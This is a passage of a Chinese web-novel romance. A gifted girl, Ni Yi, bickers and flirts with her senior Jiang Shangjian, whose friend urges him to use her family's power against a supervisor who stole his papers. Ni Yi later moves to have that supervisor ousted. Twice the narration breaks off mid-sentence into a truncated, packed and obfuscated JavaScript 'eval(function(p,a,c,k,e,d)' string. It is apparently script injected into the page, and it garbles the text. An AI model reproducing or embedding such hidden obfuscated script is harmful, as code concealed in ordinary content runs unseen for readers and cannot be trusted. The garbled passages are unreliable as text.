“可不是,你跟商商那甜蜜互动,我都酸了,何况那刚经历情感巨大挫折的,挺崩溃的。”妃子情绪都有点低落。 倪旖脸颊微微发烫,揶揄:“哪有甜蜜互动?” “老实交代,你跟我家商商暧昧呢?”妃子瞥一眼落在后面的蒋商鉴。 “是的,我喜欢他的性格。”倪旖将深层秘密深藏,缄口不言。 “他性格挺好的,但有时过于怯懦,总受欺负……”妃子喋喋不休。 倪旖不停点头,等他到了人群密集处停下脚步时,才抬眸问:“那妃子哥有女友嘛?” “你是要介绍富婆给我嘛?”妃子眨巴眨巴眼,馅饼也掉他脑袋上了。 “也不算,我姐,许和隋,她今年刚硕士毕业,去了省烟草稽查岗,”倪旖低头捣鼓手机,找出她跟姐姐的硕士毕业照,笑嘻嘻,“哝——” 妃子眼里微微发亮,照片上的女孩很英气,浓眉大眼,五官深邃,猛地点头,感激不尽望着倪旖:“转微信名片给我呗。” 省里烟草局硕博才能进,这种稽查岗大概率都是男的并且有关系的,女孩进去一定要有关系还有手段的,毕竟这个岗位是有油水的。 现在假烟很多,不查你是因为什么大家心知肚明,查了你说明店主不会人情世故。女性普遍都是行政内勤类,简单轻松,能出去的稽查岗一般都是有着晋升可能的。 “桥豆麻袋哦,”倪旖收回手机,见他疑惑,缓慢可爱说,“你跟商商关系好,有时候还需要妃子哥帮助。” “就是内奸?我十分在行。”妃子拍着胸脯,心安理得将最最最……好的哥们贩卖。 “那我转你,她下午五点飞机从国外旅游回来,你去接她拉好感。”倪旖将手机联系人发给妃子哥。 “她条件这么好?没男友?”妃子甚是疑惑。 “她老二次元,喜欢肌肉男,你这就很符合。”倪旖抬眸审视一眼妃子,“你其实不胖,就是很壮,肌肉很厉害的那种,刚见第一眼就觉得是姐姐的菜。” “那为啥刚见面不说呢?”妃子嗔怪,鬼知道他多失望,商商抱大腿成功,他真的着实眼红,毕竟消息都是他告诉的。 “10个肌肉9个GAY,还有一个特别GAY,你不懂?”倪旖调皮眨眨眼,其实不然,他刚开始有种见人说人话,爱说漂亮话的油腻感和虚伪感,很让人烦。 后来倪旖知道妃子对蒋商鉴真心实意的,也就带层滤镜,其实这也是聪明人的表达方式,聪明人说话喜欢向下兼容,表达的东西往往是让别人听起来舒适又带有一些自我思考,又不伤害自己和他人的内容。 妃子笑笑,肌肉男这种困扰很正常,分别时,特地凑到她耳边说:“告诉你一个终生受用的口诀,男人最喜欢发誓,他们的誓言和狗叫没有什么两样,你不要相信。” “商商也会?”倪旖挑了下眉梢。 “不知道,我又没跟他谈过。”妃子耸耸肩,随后往前走去。 “你食过言嘛?”倪旖很确定妃子听到了。 妃子只是抬抬手没有说话,一直往前走。 倪旖垂眸时眼里微微失落,随后掩饰性仰着脸,让风把鬓角发丝吹起来,她脸上不经意一丝微笑,就像飘落的树叶那样,有着衰败时的凄凉。 倪旖跟蒋商鉴到分别都一个字没说出口。 好像岔路口她说了一句话。 “你像星矢?” 蒋商鉴不懂,只是被晾一边挺久情绪低沉便下意识怼回去:“你像雅典娜。” 倪旖只是抱着肚子狂笑,真个傻子似的,都让他不放心一个人回教室。 回到体育馆,蒋商鉴绞尽脑汁,原来她说的是:逆向行驶! 突然手机振动。 蒋商鉴:饭钱转账。 倪旖瞅一眼,那转的钱还是优惠券之前的,没收,在教室趴在桌面午休。 蒋商鉴:全额报销,别便宜学校。 蒋商鉴瞅一眼屏幕,倪旖这才收了钱,用麦茶润了润喉咙,眼里冷冷的。 “饭钱就当赔偿额。”妃子摆出副无所畏惧模样,探出身像要从气势上压倒对方,玻璃杯里冰块“咔啦”一响。 “我什么时候欠你钱?”蒋商鉴下巴还定在胳膊上,斜眼高挑着他笑。 “麻将输的,利滚利,就你赔那些只够本。”妃子抻着腰困倦得厉害,就缩看台上躺着午休。 “……”蒋商鉴这辈子就没见这么不要脸的,钱就没法还清,“听着,那小天才单纯,遇事你帮忙照顾着。” “干嘛?无亲无故平白干活,我又不蠢,条件?”妃子丝毫不愿出苦力,枕胳膊微微眯着眼。 “她总是国外思维,国内学术圈多脏的地方,会被污染。”蒋商鉴语调也变得不同,比平时更扬几分,带着隐隐的笑意。 “不乐意,我都自顾不暇,事事出头得丢掉前程,你就别强人所难。”妃子不乐意得罪人,睁一眼闭一眼事情干过不少,“再说,她很单纯?只有别人吃亏的份。” 蒋商鉴默然,他没能力护佑她,讽刺的是,倪旖还以为国内学术圈是什么好地方,哪个地方的老虎不吃人,她低估阴暗程度,不清楚圈内等级森严得可怕。 蒋商鉴垂眸时眼皮有些笑意,成人世界从来都是利益交换,淡淡道:“她家族权势挺大,我怕远水救不了近火,受伤害后的报复无法抵消伤害。” 妃子来劲儿,撑胳膊肘有点意外。 一向憎恶背景说话的蒋商鉴有一天也要背书。 “这么说,军政商。”蒋商鉴模糊道,也没涉及那么深,但不可小觑。 “这活这么说我就不得不接。”妃子多机灵一人,遇着该拍马屁就拍,就因为这项技能,他受导师折磨不狠。 妃子问蒋商鉴:“倪旖,是哪两个字?” 蒋商鉴侧头看向他,随手伸出一根手指,蘸了蘸被洒桌面那一小摊水,湿润手指起起落落,两字便落了出来。 倪旖。 “旖旎,”妃子笑笑,“……这名光听有种暴发户的粗俗,没想到是不独特的旖。” “……确实挺土。”蒋商鉴笑道。 妃子默然两秒,抬眸时视线交错,眼里微微试探,皮笑肉不笑道:“那你接这活,你那事解决了吗?” 蒋商鉴微微发凉,微愣一秒,淡淡道:“我用他们那套办事儿,我跟他们又有什么区别。” “强者利益导向,你用她的手把自己的事解决。”妃子低声道,远处那本科同学在解答学生关于学校食堂好不好吃的问题,声音挺缥缈。 “我不愿意利用她。”蒋商鉴一歪身闲散躺在一张活动椅,右腿架在左腿上,不住地发笑,笑得越厉害,越悲凉。 妃子嗤然一笑,淡淡道:“你去见她刚开始就动利用心思,对吗?就别怯。” 蒋商鉴搁下塑料水瓶,把脸放在手臂上,眯着眼看窗外,阳光晒在他的脸上,把他的半边脸晒得滚烫滚烫的。 “我没见她之前确实动过搬救兵心思,但刚见她第一眼,我就知道,我没法利用她,甚至难以接受我曾冒过这个念头而深深自责,我很罪恶。” 蒋商鉴语气悲哀。 妃子释然道:“倪旖说到底还是孩子,容易动真的,你这外貌,得好好利用一番。” “她很天真。”蒋商鉴确实动过攀高枝心思,跟倪旖打好关系后科研路好走。 她关系很硬。 但是,如果是像畜生一样食人血髓换来的生存,他宁愿不要。 “商商,天亮了,该醒了。”妃子特不屑那一套文人风骨,他耕耘七年,被青椒导师抢过不少论文,有些甚至侮辱性质地抢论文给自家孩子特招资格加分。 他实惨。 “算了,那SCI论文就当丢掉,跟狗腿子似的巴结导师,很恶心。”蒋商鉴自嘲般笑笑,只能吃下哑巴亏。 “……”妃子被扎一刀,“那识时务者为俊杰嘛。” 蒋商鉴呵呵嘲讽道:“孙俊杰?” 蒋商鉴愣神瞬间,一篮球笔直旋转而来,生理性抬手接球,抬臂起跳,身体微微后倾,球出手的时候中指轻轻往前一压。 橘红科比签名篮球在空中划过一个很完美弧度,然后无声无息落入篮筐。 连篮筐的边儿都没蹭着。 “厉害。”妃子感慨鼓鼓掌。 蒋商鉴撂下衣裳外套,往前跑去,跟朋友玩蓝球,忽然转头看他。 蒋商鉴头发在日光下金光熠熠,脖颈线条流畅地延到领子,冒着尖儿的喉结微微滚了滚:“妃子,以后别劝,我不会接受那种的我,永远不会。” 妃子一愣,确实是自己撺掇他靠近小天才,用她的手搞掉小老板,商商本来都打算尝试,估计真不想骗孩子。 也不知道学阀家孩子有什么好? 不得跟老一辈一个样。 骨子里都是自私冷漠。 妃子略微担忧,商商太实诚。 “我觉得,你得试试。”妃子真看不下去被欺负成瘪三的室友。 “等我润去国外,这些人都遇不着,没必要。”蒋商鉴淡淡道。 “你是准备公费出国,我就惨了,现在在国企实习,仿佛一眼看到了这辈子的尽头……重复而乏味的日子一天天过去,过着教条般与他人无异的生活,真的没有什么激情…有什么意义?为什么而活?” 妃子仰天长啸。 “去私企就好,没几年就让你重新找个新奔头。”蒋商鉴淡淡道。 “……”妃子满脸无语,“你真的很会安慰人。” “不如送外卖,每天都能碰着让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那考太低好丢人,教导主任得追着我杀。”甄凝用闲着的手摸摸毛茸茸头发,活像个稻草堆,乱得人想给狠狠揉一把。 “你管罗勇,他就想弄奖金。”倪旖不屑于这中年油腻大叔,顶多怕怕贞子姐,攥着小纸条扣开看看。 倪旖飞快把纸条攥回手心,警戒地抬眼。 “谁跟你表白了?”甄凝挠挠她下巴跟逗小猫似的。 “没。”倪旖懒得搭理,微微眯着眼尝试休息一会儿,困倦和不耐直接写在收拢眼尾里,看上去神色不善。 “表白得很猥琐?”甄凝身体略微前倾,胳膊压在课桌上,歪了歪头,盯着她笑,“你就很烦躁?” 倪旖的眼睛干净如水,眉头却稍微拧起,似乎很不解:“额,他们是不是有病?医学疾病那种。” “隐藏深,你是触发词。”甄凝想着,从掏出兜里叠好几道的小购物清单,展开摊在桌面。 甄凝一边俯身弯腰从购物袋里挨个取东西,一条一条轻声细气念出来,对照查漏。 倪旖被压得够呛,鼻尖隔着层薄薄小腹衣裳有意无意蹭着她马甲线,嗅到淡淡香水味,很干净。 “老罗给你买点零食,你最近别作妖,安安分分的。”甄凝对应好清单,这玩意是她嘴巴里油腻大叔买的,求她别作妖,最经有督察组来检查教学。 “贞子姐送我巧克力,我送什么回礼啊?爱马仕是不是太俗?”倪旖不懂这些人情往来,尤其是应付凶婆娘。 “……”甄凝一愣,笑道,“滴水之恩,涌泉呢你就?” “也不算,贞子喜欢杀人,我总不能给她把刀?”倪旖脖颈处时不时翻身时蹭到她细软校服布料。 “……”甄凝吓得够呛,“你可别整活,乖乖度过一年。” 倪旖不予理睬,淡淡道:“唉,帮我个忙。” “……”甄凝微微吞咽,“恩恩相报何时了?你别还人情越还越多。” “我暴揍你一顿,被开除。”倪旖真不想念书,就是妈妈要她培养独立意识,非得上学参加集体活动,后续还得住宿舍适应。 “你没事就睡觉,牺牲我干嘛?”甄凝实在无法理解她脑里一堆离经叛道, “别自焚控诉不公。” “……都敢烧自己为什么不敢烧老师?”倪旖嘴角微扬,难以抑制笑出两声,像一只偷食到快乐哼啾的小麻雀。 “……”甄凝决定闭嘴,面色凝固,随意搭在腿上的手指无意识收拢。 手机微信提示音响了几声,倪旖伸出手在桌子上胡乱摸索着,活像一个找不到眼镜的高度近视者。 终于,手指碰到硬物,倪旖维持着躺着的姿势,把手机拿到眼前,解锁看了一眼。 心脏仿佛一下蹿到了喉咙处,倪旖一下子坐起来,动作十分矫捷。 甄凝被她弄得吓一跳。 “我下午翘课去找师哥,你帮我跟罗勇说一声,我就搁体育馆。”倪旖说完就拎着书包拔腿就跑。 奔跑速度之快那书包各式玩偶跟铃铛被风吹似的摇晃。 甄凝叹气。 蒋商鉴揉着头发坐起来,后背靠活动椅上,低头正在醒神。 “师哥!” 趴桌睡很伤脊椎,蒋商鉴半边手臂被压麻没知觉,晃了晃脑袋,一边快速揉着臂膀,一边漫不经心地抬眸,鼻音有点重:“跑过来的?” 倪旖看见蒋商鉴趴桌上枕着胳膊睡觉,顾不及整理一下头发就飞跑向前,头发蓬乱得像刚睡醒,只是有摘下游泳帽那股子不知是汗液还是泳池水湿润潮湿似的。 刚才那几秒,也许只是他抬眸瞅见她那瞬,倪旖一直为这乱发耿耿于怀,又不好意思乱动发脾气,可是在蒋商鉴面前连拢拢鬓角碎发也觉得害羞。 倪旖不敢对视,偷偷猜想蒋商鉴如果此刻说句让她理拢拢头发之类的话,最好不要,感觉像会不经意间羞辱她。 现在的她,犹豫踌躇着,该说什么呢,要说些话来掩饰,好像掩饰不住明明就是很期待,所以,你说来吧来吧,我就毫不犹豫飞奔而来。 “走过来的。”倪旖喘息道,要是她现在看镜子肯定会自嘲,有种看笼子里的大猩猩既发情又发癫的感觉。 哪有这样言听计从的? 21. 生长 蒋商鉴像没听到说话一样,埋首在书里,随后头靠着椅背,闭上眼睛,几秒后才揉揉微微发干浅红的双眼。 倪旖渐渐平息喘息,只见她头发微微湿润,覆盖光泽薄膜似的顽皮微卷垂在额前,增添几分不经意的小俏皮。 为缓解莫名尴尬和犟嘴,倪旖僵硬着解释:“有狗追我,可大,可凶。” 现在说任何话,那虚假到一眼揭穿的谎言和纠葛内心好久的秘密就好像一波玩摇滚的神经病和弹钢琴的优雅钢琴家在口腔里扯着头发撕叭。 倪旖也轻快笑了,嘴硬啊。 “……”蒋商鉴点点头觉得这小孩真的太可爱,尤其死鸭子嘴硬时刻,偏巧就生了逗她心思,装作若无其事在作死边缘试探,“没事。” 倪旖稍等片刻,脸都笑僵硬,那解释还是没等到,微带威胁道:“嗯?” “嘴瓢让你跑来一趟。”蒋商鉴故意略带歉意,只是目光直勾勾望着。 “再说一遍。”倪旖脸色不悦。 “我说——” 还没说就被打断。 “说点我爱听的。”倪旖冷道。 “这话你不爱听。”蒋商鉴就爱看她炸毛模样。 “那就别说。”倪旖握拳上手就准备先揍死他丫的,谁想他直接攥住她的拳头,那手掌特大,完美包住。 “嗯?”蒋商鉴微微偏头。 “我练广播体操呢,松手!”倪旖被温凉的手攥住,脸颊发烫,又嘴硬。 蒋商鉴双手摊开略表无奈。 倪旖为了找回面儿,指着他鼻子字正腔圆铿锵有力道:“我跟你决斗。” 还挺中二,蒋商鉴暗自发笑,一副不可置信模样,微微俯身,姿势一动不动等她揍,笑道:“好,哥哥让你。” 蒋商鉴突然意识到正常人类居然也会夹子音,而且通常在和可爱小朋友说话时会不自觉用出来。 这并不是因为人此时觉得自己可爱,而是因为聊天对象很可爱。 蒋商鉴真的挺喜欢这种聒噪、狡黠、惹人烦中又带了点可爱的小姑娘。 关键人家聪明。 很聪明。 蒋商鉴可能是有点妒忌吧。 他就妒忌聪明的人,虽说也是别人嘴里的聪明人,可是有他自己晓得这一句随口夸耀简直就是他的噩梦。 当时因家庭原因没接受哈佛offer,父亲当陈世美,母亲卧病在床,只有岽大愿意提供单独住宿,让他陪伴母亲走向终点。 他也曾摘得丘成桐中学科学奖(物理)金奖,也从六个单项金奖获得者中脱颖而出、摘取年度总冠军——科学金奖,也在GPA和SAT七中高二国体年级第一。 他是鸣山奖学金获得者,CTB全球华人挑战赛全国前五,USIYPT美国青年数学学家邀请赛获全球第三,Discovery数学研习社主席,学生大使,SCOPE世界高中生联合平台主席…… 他被家庭拖得飞不起来。 直被特招参加树人计划,蒋商鉴也不曾有那么一刻对智商放心,总觉得勤奋刻苦加上泼天运气作祟,这才有机会和她这好脑壳平起平坐。 也不算所谓平起平坐。 就是不至于太狼狈。 但是得时刻汲取知识,生怕稍一放松就跌落谷底,上天为何如此不公平。 蒋商鉴瞅着她,深深叹口气。 哥哥? 这两个暧昧字眼一出来,倪旖都有点失神,脸颊估计都快要敷烫伤药膏,倔强抬眸一声不吭。 “来,你先打,不动?”蒋商鉴见她跟木头似的呆愣,只是那股子倔犟劲儿仿佛十头牛都拉不回来,便试探性吓唬她,“那我可真打了啊?” 这一点都不像决斗。 跟调戏小姑娘似的。 倪旖仍然跋扈张扬道:“你可不可以不要总像个吸不干净鼻涕的小孩?可不可以?要杀要剐快点,我听着烦。” 蒋商鉴倒是意外,便攥着拳后退蓄力作势要锤她,五米开外加速奔跑以雷霆万钧之力击碎黑暗般预备揍她。 只是在贴脸瞬间收回装出来的大力道,蒋商鉴给她个迷你版小B兜,只是擦着她脸,一点力气都没用着。 倪旖在他拳风靠近那刻睫微微颤。 她输了。 蒋商鉴往后退两步,微微俯身笑得头都快掉下来,就爱看她受欺负模样。 小公主鼻尖微微发红,扭过头偷偷擦眼泪,刚刚真是不争气连鼻子都皱。 “……”蒋商鉴没多问,揉揉发麻的胳膊肘,抬眸道,“学校招生宣传视频正在制作,需要你的VCR,乐意嘛?” “不乐意。”小公主低头气得飙。 “别哭啊,哭就不好看,本来多好看的小朋友啊。”蒋商鉴礼貌性哄哄。 毕竟谁逗哭的谁哄。 “谢谢,我本来就很美。”倪旖微微耸动肩膀。 蒋商鉴怕她真玩不起就好奇得偏头找她眼泪,那小孩果断单眨眼特俏皮。 还是玩得开的。 “现在?”倪旖迷迷糊糊。 “不是,教授请你一起去10月29日至10月31日首届世界顶尖科学家论坛,在申城市临港滴水湖畔举办的。”蒋商鉴羡慕得都快绿眼,小孩姐真牛。 倪旖揉揉额头,轻飘飘道:“活动方邀请我了,不用老头带我去。” “……”蒋商鉴一颤,满眼佩服。 这名额他求不来,学校审核名额被博士生占,毕竟大咖云集,诺贝尔奖获得者几十个都到场,图灵奖等等都有,去一下跟他们交流几句都觉得荣幸。 倪旖居然还是被邀请的! 说来也怪,其他翻天覆地的风云人物蒋商鉴都会心态平和打哈哈敷衍,到了倪旖这里,竟然再次别扭上了。 是的,再次。 内心的自卑感再次瞬间蔓延起来。 对,再次。 “不然,”倪旖抬眸,轻描淡写淡淡道,“一起?” 屏息凝神的静悄悄持续了片刻。 “谢谢。”蒋商鉴虽然很想跟那些巨佬说两句话,总不能蹭小孩姐门卡。 倪旖用手背擦擦额头汗液,揉揉眉骨缓解困意,随意道:“好,这些事不是手机都能说清?” “这个送你。”蒋商鉴俯身从包里弄出玻璃杯递给她。 “谢谢。”倪旖什么都要,抱着杯子在怀里,虽然眸色略显疑惑。 杯子……难道是一辈子? 暂且这么认为吧。 总不可能是悲剧吧? 倒也不是不可能。 这儿童定语添加就特指作用吗? “还有事嘛?”倪旖嫌气氛尴尬,又无法原谅自己猴急,等会儿有人咨询说不定就被当苦力抓去当介绍牌陪笑,得赶紧走。 “就是学校邀请你去看看,让我陪着,您看什么时候有时间?咱对齐颗粒度?”蒋商鉴学着倪旖之前那语句道。 您? 您个屁! 倪旖哼唧哼唧。 “喂——”蒋商鉴见她呆着,喊了几声都没听着,便攥着她粉色书包带缓缓绕在指尖,粗糙纹理摩挲着指腹。 “下周,这周我得参加COS展,没空。”倪旖从自我意识脱离,见一帮小姑娘笑嘻嘻结伴钓凯子便主动避开,这场景瞅着就吓人。 蒋商鉴点点头,玩着她书包带。 “那改天再约饭?”倪旖没注意他小动作,眼神带着一丝期待。 不是客套,真的想问哪天。 具体的哪天。 蒋商鉴没说话,懂她较真。 又怕随意回答敷衍到时候没时间让小孩空欢喜一场,蒋商鉴有一瞬失措。 倪旖摊摊手打断他失神,故意打趣他:“师哥,你该不会是嫌我白吃白喝才故意摆出一张臭脸的吧?” 蒋商鉴撇了撇嘴,想到小傻子的吃饭饿死鬼模样:“以你的饭量,我嫌弃一下也是应该的。” “师哥,你要去,跟我说一声,活动方要录个人信息,明晚之前给我。” “行。” “下周二早上有空嘛?吃炖大鹅,我朋友忆苦呢,我们能蹭顿饭。” “那么早?大鹅都没起呐。” “……” 正犹豫要不要结束话题,倪旖纠结得都快把嘴唇咬破,突然左侧边有男生过来,靠着听力感受到他微微俯下身,随后余光瞥见他伸出手机。 “同学,可以加个微信嘛?” 倪旖暗爽。 老子的美丽果然不是盖的。 我的美貌吸引了他! 我是仙女! 看见了吧,蒋商鉴。 我很受欢迎的。 很牛掰的。 平时牛不牛掰无所谓,但你面前,还是要装一装的,何况,这是送上门的逼哎。 倪旖平时都那么爽,然后脑子一激动直抽抽,从校服裙兜里捞出手机,手比脑壳快,径直打开……收付款码。 对,就那收钱的。 倪旖一瞬间懵圈。 蒋商鉴偷偷乐翻天,差点不给面儿笑出声来,憋得实在难受。 怎么感觉装逼不成被打脸。 谁家好人弄这一出? 一看就很缺乏经验。 倪旖咬唇对付道:“不好意思。” 随后倪旖就跟纸糊的老虎似的非得耀武扬威地瞥一眼蒋商鉴,欠欠的。 等加好微信,那路人甲离开,蒋商鉴略带疑惑道:“都不看是谁嘛?” 倪旖尾巴都翘起来,飘飘然:“啊长啥样?没太注意,重点是老娘美翻了!” 蒋商鉴真是哭笑不得。 倪旖继续嚣张道:“他长得像大猩猩我也不管。” “大猩猩要你微信你不觉着奇怪?” “……” 手机申请微信好友提示音响起。 倪旖低头一看,故意不小心将屏幕往他那漏,恰好咳嗽一声吸引他注意。 蒋商鉴懒得揭穿她的小炫耀。 倪旖对那人网名小声嘀咕道:“他的名字是小兔子骑着扶手小滑板车哎——” 蒋商鉴一愣,瞅着一个“逸”字。 好可爱的比喻。 正感慨呢—— 直到—— 蒋商鉴微微蹙眉,随后笑出声。 倪旖正疑惑,就瞥见那申请好友消息栏一串窒息文字。 没事儿,我就想问,您能分享那玲娜贝儿钥匙挂坠链接嘛?挺可爱的,我准备给喜欢的女孩买一个当礼物,我书包袋上挂着那个好像是盗版的。 霹雳掌当头砸下来。 倪旖简直想遁地逃跑。 炫耀不成啊反被打脸。 蒋商鉴肆无忌惮嘲笑着。 窘迫在一瞬间猛然袭来,倪旖难得觉得脸颊被他投来的视线烤得滚烫,真的难得,毕竟脸皮厚到无耻,更难得。 自尊心作祟,倪旖连看那路人甲都没,就泄愤般小声哼哼道:“他果然长得像大猩猩!苍天有眼!” 就算她死鸭子嘴硬,但也不耽误蒋商鉴笑话她,那胸腔一震一震。 蒋商鉴俯身小声道:“如果有男孩街边要你微信,下次别加。” 倪旖搁地上来回小幅度踱着,步伐杂乱中带着几分奥妙,似乎深得醉拳真传,真就撒丫子一顿尴尬。 谁家好人接受这种撩骚? 要不你在,谁会没事儿装逼? 还失败了。 失败得一点点脸面都不留。 蒋商鉴耐心哄着:“我是觉得他能在路上跟你要微信,也会跟别的女生要微信,所以这样的男生不能在男友考虑的范围内。” 倪旖“嘁”一声,然后装作无所谓便转身离开,厚着脸皮在众人艳羡加揣测的目光中离开,然后很悲惨发现莫名长痘痘。 那刚刚跟师哥说话,他都看到那颗痘痘。 倪旖好想死。 为什么呀? 昨天不长,明天不长,非得遇见蒋商鉴的今天冒出来! 长痘痘可丑了。 倪旖快速揉揉脸颊捂着脸奔跑。 那从来不冒豆豆的脸真的太不争气啊,为啥此时此刻在此人面前光荣冒出一颗豆豆,盘踞在她额上耀武扬威。 丢死人啦! 倪旖跌跌撞撞的,还没跑出室内篮球场馆就羞恼得跳起,一蹦一蹦。 蒋商鉴就这样微微垂眸眼含笑意凝视着她蹦哒背影,试图用细密的瞳光从暗影中勾勒出她脸部暴躁如雷的轮廓。 倪旖真是倒霉,到场馆中央想偷偷回头望一眼便停下脚步,缓缓转头,那傻叉就真是神投手,篮球蹦哒两下直直奔她而来,振幅慢慢减小,刚巧—— 在倪旖转头瞬间,那篮球砸她后脑勺,跟随惯性往前踉跄两步,仓皇出逃连唇都微撅着,耳朵跟煮熟的虾似的。 蒋商鉴点点头便转移阵地,坐篮球架下,大咧咧地张着腿,手臂搭在膝盖上,手里捏着瓶矿泉水,眼神看着不聚焦,带着刚睡醒的惺忪感。 “她真的好可爱!”妃子简直要被这举动感动到晕过去,抬手搭蒋商鉴肩膀,使劲晃动着。 蒋商鉴满脸跟同事夸自家孩子似的傲娇,顺着他目光看着场馆感应门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“她那种小女孩就家里人捧掌心宠着,周围人艳羡,你悠着点啊,喜欢可以,但别多想,利用结束后完整还回去。”妃子偷偷瞥一眼,怕他来真的,这种家庭的根本惹不得,顶多就是当普通朋友相处。 所以,这也是他让渡机会原因。 既能贩卖消息得到人情,又能间接接近这种家庭思想尚未成熟小孩来拓展人脉资源,还不会背负惹麻烦几率。 妃子笑得灿烂。 蒋商鉴眼神落寞,只是声音很小:“我有个朋友,不是我,别瞎猜啊,他对一个女孩有好感,怎么说呢,那个小姑娘对她来说就是遥不可及,你知道这个遥不可及是多么遥远吗?就是很遥远很遥远……” 她就是比遥远还遥远的一个形容词。 妃子偷偷白了一眼,直接打断她:“重点。” “就,他有点想,”蒋商鉴想到刚刚妃子的话,又暗暗咳嗽两声,补了一句,“不仅仅做朋友,还想到达比朋友关系还好的状态,但不是情侣啊,甚至比情侣关系还难以割舍的一种暂时还没命名的新概念亲密关系。” 妃子简直要被气笑,这是啥新概念,这就是想到达爱情,又怕差太大没法被接受,只得畏缩,拧开矿泉水瓶喝口水:“你这朋友还有啥新概念想法?” “啊?” “不然就直接追?” “肯定追不上啊。”蒋商鉴脱口而出,后来就沉默中,连他自己都清晰知道很难,很难的。 “那还有个屁好感?不如多攒点钱。”妃子幽幽道,扭头,“你这个朋友,经济状况也不怎么好吧?” “?” 蒋商鉴瞬间黯淡,不由自主提高了嗓门,怕被误会:“不是我,都说了是我一个朋友,我又没喜欢的人,没有,是真没有,别看我……” “嗯。”这种我有一个朋友系列粗俗套路傻子都看出来,妃子饶有趣味盯着,怕戳穿了处男小心思,蒋某恼羞成怒,十天半个月不给他叠被子做宿舍清扫工作,于是便十分不走心地敷衍应了一声。 “我估计得谈个对象,聪明狡猾那种女孩,现在跟屌丝整天打牌,人都傻了吧唧的。”蒋商鉴微微蹙眉思索着,只是不理解妃子在想什么,他那种嗅利益最大化性格肯定事事占优势。 “有点难找。”妃子夸张跳起来,瞅着蒋商鉴此刻清朗的眉目间却充斥着一丝焦急,欲言又止,怕他瞎搞误入歧途,“你别找了呗,小心被骗财骗色,不对,你也没两个子儿值得人家惦记,身子倒是不错,我都馋,呵呵嘿嘿。” “有话就说。”蒋商鉴挥挥手,鸡皮疙瘩掉一地。 “你这么些年都没谈过恋爱,这你怎么着春心萌动了?”妃子瞥他一眼,旁敲侧击。 “就觉得无聊。”蒋商鉴眉梢淡淡忧伤笼罩着,刚刚挺郁闷还没走出来,“我这种很难有对象?” “你懂什么?”妃子嘀嘀咕咕。 这处男被吃掉都不知道,纯得要命,情商不高。 “嗯?”蒋商鉴叹息。 “人跟你聊宠物垂耳兔,你来一句麻辣兔头真挺好吃的,人跟你聊咖啡,你跟人说不如红牛提神,你的脑子里但凡装点东西也不至于没对象。”妃子勒他脖颈愤愤道。 蒋商鉴微微笑:“那不是没遇着喜欢的,敷衍完事就行。” “我呢?”妃子突然欠抽顺嘴问了一句。 “哈?”蒋商鉴揉揉泛酸眼眸。 “我愿意陪着你共度一生,我俩不是买一送一么。”妃子冷着脸说。 “先……拆了吧……”蒋商鉴嫌弃道,暗暗咳嗽两声,不自觉朝倪旖离开方向深深凝视着。 “你个没用的玩意儿。”妃子一瞬间低落,后来察觉他很悲伤表情就特不地道地乐翻天,猫商商腿边儿蹲下了。 “哈?”蒋商鉴没懂。 “许仙看雷峰塔似的。”妃子夸张比喻,单手胳膊搭在他肩膀逗着玩。 蒋商鉴很低哼一声,本来就皱着的眉拧得更紧。 “喂——”妃子就爱搞怪,在他脸上轻轻拍了两下,“你大爷不记前嫌来拯救这混蛋完犊子玩意,你快睁眼儿给爷笑一个。” 蒋商鉴感觉脑袋有点沉,在桌面趴着午睡没那么舒适,便懒懒靠主席台那热血横幅前,此时微微眯着眼攥着冰凉矿泉水打盹儿,迷糊中只觉得不怎么舒服,不知道自己到底有没有睡着。 “哎,哎,哎,”妃子抬眸见远远有漂亮妹子跑来,见状推搡蒋商鉴,焦急不可耐道,“那估计又是来要我微信号的,信不信?” “你真要脸。”蒋商鉴敷衍道。 妃子快速整理领口:“正常姑娘不敢要你这种的,太帅不放心,我这种就属于帅得很有安全才吃香,懂不懂?” “呵——”蒋商鉴唏嘘。 “我这条件多棒。”妃子臭屁。 “你说你这条件多棒?这鼻子这眼睛这脑壳,几千年才出一个!像你这形象,小偷小摸啊,不法商贩啊,地痞流氓啊,不用演,往那一戳就行了!”蒋商鉴小声嘀咕。 “滚犊子——”妃子推搡道。 22. 天赋 倪旖顺着侧门出去,等缓过情绪后攥手机打电话,靠耳边等接通:“唉,姐,帮我个忙呗。” “说。” “帮我在你学校问问蒋商鉴事情,生命科学学院的帅哥,你应该知道。” “你说他?不用问,他被小导师压榨得不轻,据说,论文被抢好几篇。那畜生家儿子发论文高考走特长赛道。” “小导师?” “就是祖师爷没空,徒弟带他。” “姓名。” “夏枫。干嘛呢?宝贝儿?” “平时让着点是怕被穿小鞋,这会已经穿上,当然是开炮,不死不休,有多大搞多大,先把他从学校踢吧走。” “……” 倪旖眼里狠劲毫不避讳。 老子在岽安,想打哪个打哪个。 几个认识她的同学都不太敢同倪旖对视,只走在侧旁引路。阴沉的云堆积在天边,像层层涌动灰色海浪。 从秋实路到教学A栋路上一片死寂,只在脚步间撞出手镯和玻璃杯的铮铮之声,夹杂在沉闷空气中。 在这小打小闹的声响里,倪旖仿佛能听见自己心跳,她说不清楚那是心疼还是气愤,一下一下,越来越急促,像是有意要蒙蔽她思考。 倪旖钻到闲置信息楼地下室楼梯拐角处,刚踏进去隐隐灰尘浮动空气中,缓慢又略带有刺激性钻鼻腔里。 倪旖垂眸敲击手机屏幕,再次拨通手机联系人,略带着急在拐角处不停逡巡,心脏像是装弹簧一样快跳出。 “妈,你认识夏枫嘛?”倪旖微微压低的声音是带着清晰防御感的冷。 “嗯。” “我跟他有仇。” “……” “该如何给他弄下来?实名举报不现实。” 教务处与学生处那群吃屎的,不违法不违规,一律不管闲事。 事不关己,高高挂起。 一群坏蛋。 让师哥受委屈。 倪旖懒散地靠在墙面上,脑袋晕沉得很,有各种情景猛然涌入脑海,如同怪异的彗星收纳着周围的星辰碎屑。 “回去聊,这门道大。” “好。” 倪旖深深吸几口气,气得够呛。 学校是什么玩意儿?脏的臭的骚的聚在一块儿,很多小镇做题家上来唯成绩至上,嘴上大神大神喊,心里已经把你鄙视到地心里去。 